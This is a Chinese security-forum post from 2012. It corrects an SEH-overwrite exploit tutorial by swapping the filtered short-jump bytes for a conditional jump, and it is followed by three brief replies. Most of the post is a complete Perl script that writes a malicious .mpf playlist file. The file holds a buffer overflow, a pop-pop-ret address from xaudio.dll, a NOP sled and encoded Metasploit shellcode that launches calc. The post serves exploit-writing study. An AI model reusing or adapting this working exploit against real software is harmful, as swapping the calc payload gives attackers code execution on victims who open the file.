首页
社区
课程
招聘
[旧帖] [原创]《Exploit 编写教程第三篇b:基于SEH 的Exploit-又一个实例》中的一个错误 0.00雪花
发表于: 2012-11-29 16:36 1415

[旧帖] [原创]《Exploit 编写教程第三篇b:基于SEH 的Exploit-又一个实例》中的一个错误 0.00雪花

2012-11-29 16:36
1415
《Exploit 编写教程第三篇b:基于SEH 的Exploit-又一个实例》中的一个错误

这几天在学习exploit,Exploit 编写教程是一个很好的实践教材,在调《Exploit 编写教程第三篇b:基于SEH 的Exploit-又一个实例》时发现一个错误,发上来给大家,一起学习。

文中使用“在next SEH域中填充\xeb\x1c\x90\x90”来跳过30个字节,但是在我调试的过程中发现,这个\xeb\x1c\x90\x90会被程序过滤,无法成功exploit。

在这个问题上面折腾了一天,终于在网上发现有人也遇到我一样的问题,需要用\x74\x1f\x90\x90来代替,作者原文:http://bbs.byr.cn/#!article/Security/28944?au=xsxtxt

最后的perl文件内容如下:
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\x74\x1f\x90\x90";
my $seh=pack('V',0x1002083D); #pop pop ret from xaudio.dll
my $nops = "\x90" x 50;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+]  " . length($payload)." bytes\n";



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
版主能否给转个正,我这32kx混了几个月都没有动过。想去别的地方发个帖都难。看在我第一个原创的份上,鼓励一下,先谢谢了!
2012-11-29 16:42
0
雪    币: 85
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
编程我不行啊,学习的态度还是可以的。
2012-11-29 18:08
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
4
这些根据自己系统的环境情况进行调试分析即可,exploit教程中的exploit不是都能稳定执行的,关键还是学习其中的思路,再根据调试情况自己构造exploit。
2012-11-29 20:21
0
游客
登录 | 注册 方可回帖
返回
//